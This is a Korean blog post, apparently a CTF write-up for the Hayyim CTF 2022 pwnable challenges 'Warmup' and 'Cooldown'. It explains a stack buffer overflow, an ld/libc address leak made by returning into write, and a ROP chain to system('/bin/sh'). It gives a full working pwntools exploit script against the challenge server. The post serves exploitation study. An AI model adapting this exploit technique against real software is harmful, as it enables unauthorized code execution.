으아.. 방금 까지 작성했던거 날라가서 빠르게 적겠습니다.
Warmup
문제의도: 자칭 tiny program이라고 하는 만큼 인자 전달을 위한 gadget도 없고 프로그램 내에 binding 되어 있는 함수 자체도 write, read로 매우 제약이 되어 있다. 이때 너는 익스를 할 수 있냐
일단 문제 파일들을 다운 받으면 Dockerfile 이 존재하는데, 이를 확인하면 우분투 18.04 라는 것을 알 수 있다.
이를 참고하여 libc를 구한다. 필자는 Docker를 이용하여 실제 환경을 구축하여 진행.
그리고 해당 문제의 보호 기법은 다음과 같다.
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
다음은 IDA로 분석한 취약점이 일어나는 공격 백터부분이다.(0x40053D)
어셈 코드를 보면 먼저 write함수를 사용하고, read함수를 사용하는데, buf의 크기는 0x30이고 0xC0h 만큼 입력 받는다는 것을 알 수 있다. 이때 BOF가 터진다.
이를 토대로 ret를 덮을 수 있게 되었다.
함수 제약을 없애고 가젯 제한을 없애기 위해 libc_base를 구하여 진행해야하는데... libc_base를 구하기위한 기준, leak할 주소에 대한 정보가 아직 알고 있는것이 없다. 또한 정적 분석으로 더 얻을 것은 없다는 판단으로 동적 분석으로 넘어가보자.
동적 분석을 gdb-peda로 진행해 보면, 주소를 받고 0x30 만큼의 값(buf) 뒤에 _dl_start_user+50(dl_fini 주소를 가르킴) 이 존재한다는 것을 알 수 있는데, 이는 시작 할때 쓰이는 변수를 참조할 수 있도록 존재하는 것인데, 이 주소는 ld에 속하기 때문에 이를 가지고 offset을 구할 수 있고 ld_base, libc_base를 구할 수 있다는것을 알 수 있다.
그럼 이 값을 어떻게 출력하냐 인데, 위에 에셈 코드를 보면 마지막에 인수 레지스터에 대한 정리가 없기 때문에, write 함수를 ret에 넣어줌으로써 바로 해결 할 수 있다. 이 이유는 따로 포스팅 하겠다. 암튼 이렇게 하면 buf에 있는 값이 출력되며, 이전 rdx(edx)에 넣어준 0xC0-0x30 만큼을 더 출력한다. 그리고 한번더 입력을 기다린다.
자 이렇게 모든 문제를 해결하고 ROP를 활용해 작성한 코드는 다음과 같다.
from pwn import *
context.log_level = 'debug'
p = remote("141.164.48.191", 10001)
#p = process("./warmup")
#gdb.attach(p)
e = ELF('./warmup')
libc = ELF('./libc.so.6')
def slog(name, addr): return success(": ".join([name, hex(addr)]))
#ld_offset = 4298
#libc_offset = 0x3f1000
#[stack] +0x20ee2
offset_str_bin_sh = 0x1b3e1a
offset_system = 0x000000000004f550
pr = 0x00000000000215bf
payload = b"A"*0x38
payload += p64(e.plt['write'])
p.sendafter("> ", payload)
p.recvuntil(payload)
ld_ = u64(p.recv(8))
ld_b = ld_ - 4298
libc_base = ld_b - 0x3f1000
slog("libc_base: ", libc_base)
system = libc_base + offset_system
binsh = libc_base + offset_str_bin_sh
pr = pr + libc_base
payload = b"A"*0x38
payload += p64(pr)
payload += p64(binsh)
payload += p64(system)
p.send(payload)
p.interactive()
Cooldown
문제의도: 일단 Warmup 이랑 조건이 똑같다. gadget제한, 함수 제한.. 하지만 추가된게 read함수의 길이 제한이 0xC0 -> 0x60 으로 대폭 줄었다는거. 물론 필자와 다른 방법으로 익스를 짜면, 아마 스택 뒤이이이 쪽에 보면 ld 값이 그냥 나오는데, 0x40053D, 즉 공격백터의 함수를 실행할 때마다 buf뒤 값이 점차 줄어드는, 즉 스택이 줄어드는 현상을 볼 수 있다. 이를 사용하면 ld 직빵으로 가져올 수 있다. 이를 토대로 진행해도 무관하다. 물론 코드 길이는 길어진다. 그외에 페이를 길게 짜는건 각자 생각하기 따름이라.. 이만하고 넘어가겠다. 위 코드 그대로 사용하면 된다. ㅎㅅㅎ
다음엔 정현식님의 라업을 보면서 분석해보도록 하겠습니다.
Hayyim CTF 2022 Write-up - HackMD
'Pwnable > writeup' 카테고리의 다른 글
Pwnable.tw - 3x17 (0) | 2022.07.29 |
---|---|
BDCTF - pwnrace (0) | 2022.07.24 |
CBHC - Mind Control2 (0) | 2022.07.23 |
CBHC - Mind Control (0) | 2022.07.23 |
드림핵 SECCOMP 풀이. (0) | 2022.02.10 |